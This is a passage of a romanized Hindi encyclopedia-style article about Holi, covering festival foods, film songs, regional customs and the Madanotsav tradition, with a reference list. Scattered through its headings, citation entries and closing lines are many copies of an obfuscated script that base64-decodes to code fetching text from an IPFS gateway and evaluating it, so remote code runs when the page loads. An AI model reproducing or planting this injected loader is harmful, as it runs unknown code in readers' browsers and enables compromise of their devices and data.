mishthan is parv ki visheshata haian. uttar bharat mean ap 'gujhiya' ka anand le sakate haian v pashchim mean, maharashtr mean 'pooranapoli' ka. thandaee [20]bhaang [21] parantu is mishran se savadhan hi rahana chahie, kyoanki yah pey holi par prayah sabhi jagah banaya v vitarit kiya jata hai. isaka nasha shighr utarata nahian aur bhookh badhati hi jati hai, isake pine se dimag par bura prabhav p data hai.
filmoan mean holi git
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
holi rangoan, anand aur ullas ka tyohar hai. b aaulivud ke holi git isi anand aur ullas se bhare hote haian. 'holi aee re kanhaee'[22], 'are ja re hat natakhat' [23], 'aj na chho deange bas hamajoli'[24], 'holi ke din'[25], 'rang barase' [26], 'mal de gulal mohe, aee holi aee re'[27], 'aang se aang lagana sajan'[28] aur 'holi khelean raghuvira'[29] holi ke kuchh lokapriy git haian. isake alava 'holi ke rang mean', 'rang barase bhige chunar vali' aur 'holi khelean raghuvira...' hindi filmoan ke kuchh aise lokapriy git haian jo rangoan ke tyohar holi ki bhavana ko b de parde par jivant karate haian, lekin aj holi ke gitoan ka abhav dekha ja raha hai aur aise mean log purane gitoan mean hi holi ka maja lene ko majaboor haian. hindi filmoan mean aya holi ka ek prasiddh git 'doo mi e phevar.. lets ple holi' hai. film 'vakt-res aangeanst taim', 2005 ka yah git akshay kumar aur priyanka chop da par filmaya gaya hai. is git mean holi ke rang, oorja sahit sab kuchh hai.[30]hindi filmoan mean aya aantim holi prasiddh git film 'ye javani hai divani' ka 'balam pichakari...' hai jisamean ranabir kapoor aur dipika padukon ne abhinay kiya hai.
vibhinn prantoan mean holi
anandollas se paripoorn evan gan-nrityoan mean lin log jab any prantoan mean holika ka utsav manate haian tab pashchim bangal mean dol yatra ka utsav hota hai.[31] yah utsav paanch ya tin dinoan tak chalata hai. poornima ke poorv chaturdashi ko sandhya ke samay mandap ke poorv mean agni ke samman mean ek utsav hota hai. govind ki pratima ka nirman hota hai. ek vedika par 16 khambhoan se yukt mandap mean pratima rakhi jati hai. ise panchamrit se nahalaya jata hai, kee prakar ke krity kiye jate haian, moorti ya pratima ko idhar-udhar sat bar dolaya jata hai. pratham din ki prajvalit agni utsav ke ant tak rakhi jati hai. ant mean pratima 21 bar dolaee ya jhulaee jati hai. aisa aya hai ki indradyumn raja ne vrindavan mean is jhoole ka utsav arambh kiya tha. is utsav ke karane se vyakti sabhi papoan se mukt ho jata hai. shoolapani ne isaki tithi, prahar, nakshatr adi ke vishay mean vivechan kar nishkarsh nikala hai ki dolayatra poornima tithi ki upasthiti mean hi honi chahie, chahe uttaraphalguni nakshatr ho ya n ho. desh ke kee alag-alag prantoan mean holi ko alag alag namoan se jana jata hai aur b de hi nirale aandazoan mean manaya jata hai. holi bharat hi nahian balki poore vishv ke kone kone mean manaee jati hai, bas dhang alag hai. bharat ke prantoan mean holi ke dhang alag-alag haian.[32]
aandhr pradesh ki holi
vaise to dakshin bharat mean uttar bharat ki tarah ki rangoan bhari holi nahian manaee jati hai phir bhi sabhi log harshollas mean shamil rahate haian. uttar bharat se itar dakshin mean navayuvak sham ko ekatrit ho kar gulal se holi khelate haian aur b doan ka ashirvad lete haian. aandhr pradesh ke banjara janajatiyoan ka holi manane ka apana nirala tariqa hai. yah log apane vishisht aandaz mean manoram nrity prastut karate haian.
tamilanadu ki holi
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isi prakar tamilanadu mean holi ko 'kamavilas', 'kaman pandigaee' evan 'kam-dahan' ke nam se jana jata hai, yahaan ke logoan ka manana hai ki kamadev ke tir ke karan hi shiv ko parvati se prem hua tha aur bhagavan shiv ka vivah devi parvati se hua tha, magar tir lagane se krodhit shiv ji ne kamadev ko bhasm kar diya tha tab rati ke agrah par devi parvati ne unhean punarjivit kiya aur jis din kamadev punarjivit hue us din ko holi ke roop mean manate haian. isilie tamilanadu mean holi ko kam pandigaee ke nam se jana jata hai. yahaan holi ko prem ke parv ke roop mean manaya jata hai.[32]
uttar pradesh ki holi
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uttar pradesh mean holi ka tyohar b de hi harsh aur ullas se manaya jata hai. uttar pradesh ke kone kone mean holi ki dhoom dekhate hi banati hai. holi ke din kya b de aur kya chhote sabhi ko har prakar ke majakabazi ki poorn chhoot hoti hai aur log isaka jamakar luft bhi uthate haian. chhe d-chha d, chuhalabazi, git sangit yahaan tak ki gali galauj tak ko bhi jayaz mana jata hai. yahaan holi par rang aur gulal ke alava tarah tarah ke vyanjan ka bhi bolabala rahata hai. gujhiya, dahi v de, mathari aur in sab se badh kar thandaee aur usake sath bhaang, rangoan ke suroor ko doguna kar deti hai. rat ko holika dahan ke bad agale din subah rangoan ke sath gili holi kheli jati hai aur sham ko abir aur gulal se samaan sarabor hota hai. uttar pradesh mean vrindavan aur mathura ki holi ka apana hi mahattv hai. is tyohar ko kisanoan dvara phasal katane ke utsav ek roop mean bhi manaya jata hai. gehooan ki baliyoan ko ag mean rakh kar bhoona jata hai aur phir use khate haian. holi ki agni jalane ke pashchath bachi rakh ko rog pratirodhak bhi mana jata hai. in sab ke alava uttar pradesh ke mathura, vrindavan kshetroan ki holi to vishvaprasiddh hai. mathura mean barasane ki holi prasiddh hai. barasana radha ji ka gaanv hai jo mathura shahar se qarib 42 kimi andar hai. yahaan ek anokhi holi kheli jati hai jisaka nam hai latthamar holi. barasane mean aisi paranpara haian ki shri krishna ke gaanv nandagaanv ke purush barasane mean ghusane aur radha ji ke mandir mean dhvaj phaharane ki koshish karate haian aur barasane ki mahilaean unhean aisa karane se rokati haian aur dandoan se pitati haian aur agar koee mard pak d jaye to use mahilaoan ki tarah shrriangar karana hota hai aur sab ke sammukh nrity karana p data hai, phir isake agale din barasane ke purush nandagaanv ja kar vahaan ki mahilaoan par rang dalane ki koshish karate haian. yah holi utsav qarib sat dinoan tak chalata hai. isake alava ek aur ullas bhari holi hoti hai, vo hai vrindavan ki holi yahaan baanke bihari mandir ki holi aur 'gulal kuand ki holi' bahut mahattvapoorn hai. vrindavan ki holi mean poora samaan pyar ki khushi se sugandhit ho uthata hai kyoanki aisi manyata hai ki holi par rang khelane ki paranpara radhaji v krishna ji dvara hi shuroo ki gee thi.[32]
bangal aur u disa ki holi
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bangal mean holi ko 'dol yatra' v 'dol poornima' kahate haian aur holi ke din radha aur krishna ki pratimaoan ko doli mean baithakar poore shahar mean ghumate haian aur auratean usake age nrity karati haian. yah bhi apane ap mean ek anoothi holi hai. bangal mean holi ko 'basant parv' bhi kahate haian. isaki shuruat ravindr nath taigor ne shanti niketan mean ki thi. u disa mean bhi holi ko 'dol poornima' kahate haian aur bhagavan jagannath ji ki doli nikali jati hai.
rajasthan ki holi
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yahaan mukhyat: tin prakar ki holi hoti hai. mali holi- isamean mali jat ke mard, auratoan par pani dalate haian aur badale mean auratean mardoan ki lathiyoan se pitaee karati hai. isake alava godaji ki gair holi aur bikaner ki dolachi holi bhi behad khoobasoorat hoti hai. [32]
panjab ki holi
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
panjab mean holi ko 'hola mohalla' kahate haian aur ise nihang sikh manate haian. is mauke par ghu dasavari, talavarabazi adi ka ayojan hota hai.
hariyana ki holi
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hariyana ki holi bhi barasane ki latthamar holi jaisi hi hoti hai. bas farq sirf itana hai ki yahaan devar, bhabhi ko rangane ki koshish karate haian aur badale mean bhabhi devar ki lathiyoan se pitaee karati hai. yahaan holi ko 'dulhandi' bhi kahate haian.
dilli valoan ki dilavali holi
dilli ki holi to sabase nirali hai kyoanki rajadhani hone ki vajah se yahaan par sabhi jagah ke log apane dhang holi manate haian jo apasi samarasata aur sauhard ka svaroop hai. vaise dilli mean netaoan ki holi ki bhi khoob dhoom hoti hai.[32]
karnatak mean holi samaroh
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karnatak mean yah tyohar kamana habba ke roop mean manaya jata hai. is din bhagavan shiv ne kamadev ko apane tisare netr se jala diya tha. is din koo da-karakat phate vastr, ek khuli jagah ekatrit kie jate haian tatha inhean agni ko samarpit kiya jata hai. as-pas ke sabhi p dosi is utsav ko dekhane ate haian.
isake alava bihar ki phagua holi, maharashtr ki rangapanchami, gova ki shimago[33], gujarat ki govianda holi, aur pashchimi poorv ki 'bihi janajati ki holi' ki dhoom bhi nirali hai.
prem ka tyohar
thumb|450px holi basant v prem-pranav ka parv hai tatha dharm ki adharm par vijay ka pratik hai. yah rangoan ka, has-parihas ka bhi parv hai. yah vah tyohar hai, jisamean log 'kya karana hai, tatha kya nahian karana' ke jal se alag hokar svayan ko svatantr mahasoos karate haian. yah vah parv hai, jisamean ap poorn roop se svachchhand ho, apani pasand ka kary karate haian, chahe yah kisi ko chhe dana ho ya azanabi ke sath bhi tho di shararat karani ho. in sabaka sarvottam roop yah hai ki sabhi katuta, krodh v niradar bura n mano holi hai ki ooanchi dhvani mean doobakar ghul-mil jata hai. bura n mano holi hai ki karatal dhvani holi ki lanbi parampara ka abhinn aang hai.
madanotsav
dashakumar charit mean holi ka ullekh 'madanotsav' ke nam se kiya gaya hai. vasant kam ka sahachar hai, isilie vasant rritu mean madanotsav manane ka vidhan hai. hamare yahaan kam ko daivi svaroop pradan kar use kamadev ke roop mean manyata di gee hai. yadi kam itana vikrit hota to bhagavan shiv apani krodhagni mean 'kam' ko bhasm karane ke bad use 'anang' roop mean phir se kyoan jivit karate? isaka arth yah hai ki 'kam' ka sahachary utsav manane yogy hai. jab tak vah maryada mean rahata hai, use bhagavan ki vibhooti mana jata hai. lekin jab vah maryada chho d deta hai to atmaghati ban jata hai, shiv ka tisara netr (vivek) use bhasm kar deta hai. bhagavan shiv dvara kiya gaya kam-sanhar hamean yahi samajhata hai. tyohar hamari saanskritik chetana ke pratik haian. ve asha, akaanksha, utsah evan umang ke pradata haian tatha manoranjan, ullas evan anand de kar ve hamare jivan ko saras banate haian. tyohar yugoan se chali a rahi hamari saanskritik dharoharoan, paranparaoan, manyataoan evan samajik moolyoan ka moort pratibianb haian, jo hamari sanskriti ka aantarasparshi darshan karate haian. tyoharoan ki is pratha ne hi bharat ko manavabhoomi se devabhoomi bana diya hai. kalidas ne manav ko utsav premi bataya hai- utsavapriya khalu manushya:! utsav manav jivan mean ullas evan anand ki srishti karate haian. sath, chit, anand roopi trigunatmak brahma ka ek tatv hai- anand. anand-ullas manav ke jivan mean mangal evan saubhagy ko amantrit karate haian. holi vasant rritu ka yauvanakal hai, grishm ke agaman ka soochak! yah 'navannaveshti yajn' bhi kahalata hai. phalgun shukl poornima ke din prachin aryajan ne gehooan aur jau ki baliyoan se agnihotr ka praranbh karate the. karmakaand paranpara mean ise 'yav grahan yajn' ka nam diya gaya. anaj ki baliyoan ko sanskrit mean 'holak' kahate haian. desh ke uttari bhag mean aj bhi chane ki bhuni baliyoan ko hola kahate haian. vasant mean soory dakshinayan se uttarayan mean a jata hai. phal-phooloan ki nee srishti ke sath rritu bhi 'amrit pran' ho jati hai. isalie holi ke parv ko 'manvantaraanbh' bhi kaha gaya hai. holi ke sath anek kathaean ju di haian. pahali katha prahlad evan holika se sanbandhit hai. prahlad ka pita hiranyakashipu nastik tha. usane apane rajy mean eeshvar ki pooja karane par pratibandh laga rakha tha. kiantu usaka putr prahlad eeshvar bhakt tha. anek kasht sahakar bhi usane eeshvar bhakti nahian chho di. mahadevi varma ne isaki vyakhya is tarah ki hai ki 'prahlad ka arth hai param ahlad athava param anand. kisan ke lie ne ann se adhik anand aur kya ho sakata hai?' apani phasal pakar aur mausam ki pratikoolataoan se mukt ho kar atmavibhor kisan nachata hai, gata hai aur agni devata ko navann ki ahuti deta hai. doosari pauranik katha ke anusar dhoonda namak ek rakshasi bachchoan ko bahut pi da pahuanchati thi aur unhean mar dalati thi. ek bar vah pak di gee aur logoan ne krodh mean akar use jivit jala diya. isi ghatana ki smriti mean holi jalaee jati hai. holi ki agni mean balakoan ki alay-balay ka samarpan kar unaki sukh shaanti ki kamana ki jati hai. yadi dhoonda ko ap thand namak rakshasi man lean to bachchoan ke kasht aur rakshasi ke jane ki khushi ki bat bahut achchhi tarah samajh mean a jati hai. holi se agale din dhulaindi hoti hai. rang mean sarabor hokar phag khela jata hai. rangabhari holi jivan ki rangini prakat karati hai. parivarik holi ke apane hi rang haian. krishna gopiyoan ki holi to adbhut hai. holi ke shil aur sauhard bhare rivajoan mean aj anek vikritiyoan ka samavesh ho gaya hai. holi ke avasar par uchcharit hone vale vedamantroan ka sthan ashlil aur asabhy vachanoan ne le liya hai aur rang-birange gulal ki jagah rasayanik rang a ge haian. isane holi ki dhaval phalguni poornima par grahan ki kali chhaya dal di hai, jisane parv ki pavitrata aur anubhooti ko tirohit kar diya hai. vastav mean atma ke madhuratam aur priyatam bhavoan ka anubhav kie bina holi ke avasar par prakat hone vale anurag ko anubhav nahian kiya ja sakata.[34]
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vithika
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tika tippani aur sandarbh
- ↑ jaimini, 1.3.15-16
- ↑ kathakagrihy, 73,1
- ↑ poornachandr
- ↑ raka holake. kathakagrihy (73.1). is par devapal ki tika yoan hai: 'hola karmavishesh: saubhagyay strinaan prataranushthiyate. tatr hola ke raka devata. yaste rake subhatay ityadi.'
- ↑ kamasootr, 1.4.42
- ↑ kal, pri. 106
- ↑ alakaj ki bhaanti
- ↑ choorn se yukt kri daoan vali
- ↑ liangapurane. phalgune paurnamasi ch sada balavikasini. jneya phalgunika sa ch jneya lokarvibhootaye..
varahapurane. phalgune paurnimasyaan tu patavasavilasini. jneya sa phalguni loke karya lokasamriddhaye॥ hemadri (kal, pri. 642).
isamean pratham ka.vi. (pri. 352) mean bhi aya hai jisaka arth is prakar hai-balavajjanavilasinyamityarth: - ↑ varshakrityadipak (pri0 301) mean nimn shlok aye haian-
'prabhate bimale jate hyange bhasm ch karayeth. sarvage ch lalate ch kriditavyan pishachavath॥
sindarai: kuankumaishchaiv dhoolibhirdhoosaro bhaveth. gitan vadyan ch nrityan ch kriryadrathyopasarpanamh ॥
brahmanai: kshatriyairvaishyai: shoodraishchanyaishch jatibhi:. ekibhooy prakartavya krida ya phalgune sada. balakai: vah gantavyan phalgunyaan ch yudhishthir ॥' - ↑ hindoo h aaulidej evan serimanij'(pri. 92
- ↑ vrat, bhag 2, pri. 174-190
- ↑ bhavishyottar, 132.1.51
- ↑ pustak- dharmashastr ka itihas-4 | lekhak- paandurang vaman kane | prakashak- uttar pradesh hiandi sansthan
- ↑ 15.0 15.1 15.2 15.3 holi ki prachin kathaean (hindi) (pi.ech.pi) hindi midiya d aaut in. abhigaman tithi: 10 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sanskrit sahity mean holi (hindi) shabdam. abhigaman tithi: 3 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bharatiy sahity, sanskriti aur paranpara mean holi (hindi) (pi.ech.pi) hindi midiya d aaut in. abhigaman tithi: 10 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ dekh baharean holi ki -nazir akabarabadi (bharatakosh), yoo-tyoob par sunean
- ↑ 19.0 19.1 19.2 19.3 19.4 urdoo sahity mean holi (hindi) (pi.ech.pi) hindi midiya d aaut in. abhigaman tithi: 10 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shital pey jise doodh, bhaang, badam milakar ghotakar banaya jata hai
- ↑ yah ek nashile paudhe ki pattiyoan ka ghol hai
- ↑ film- madar iandiya
- ↑ film- navarang
- ↑ film- kati patang
- ↑ film- shole
- ↑ film- silasila
- ↑ film- kamachor
- ↑ film- dar
- ↑ film- bagaban
- ↑ ajakal nahian milate holi ke git (hindi) (ech.ti.em.el) laiv hindustan d aaut k aaum. abhigaman tithi: 4 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shoolapanikrit 'dolayatravivek.'
- ↑ 32.0 32.1 32.2 32.3 32.4 har jagah holi sirf holi hai (hindi) (ech.ti.em.el) visfot.com. abhigaman tithi: 10 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ darasal koankani boli mean holi ko shimago kahate haian
- ↑ bhooshan, lalit. umang aur ullas se bhara yahi to hai madanotsav (hindi) Speaking tree.in. abhigaman tithi: 1 joon, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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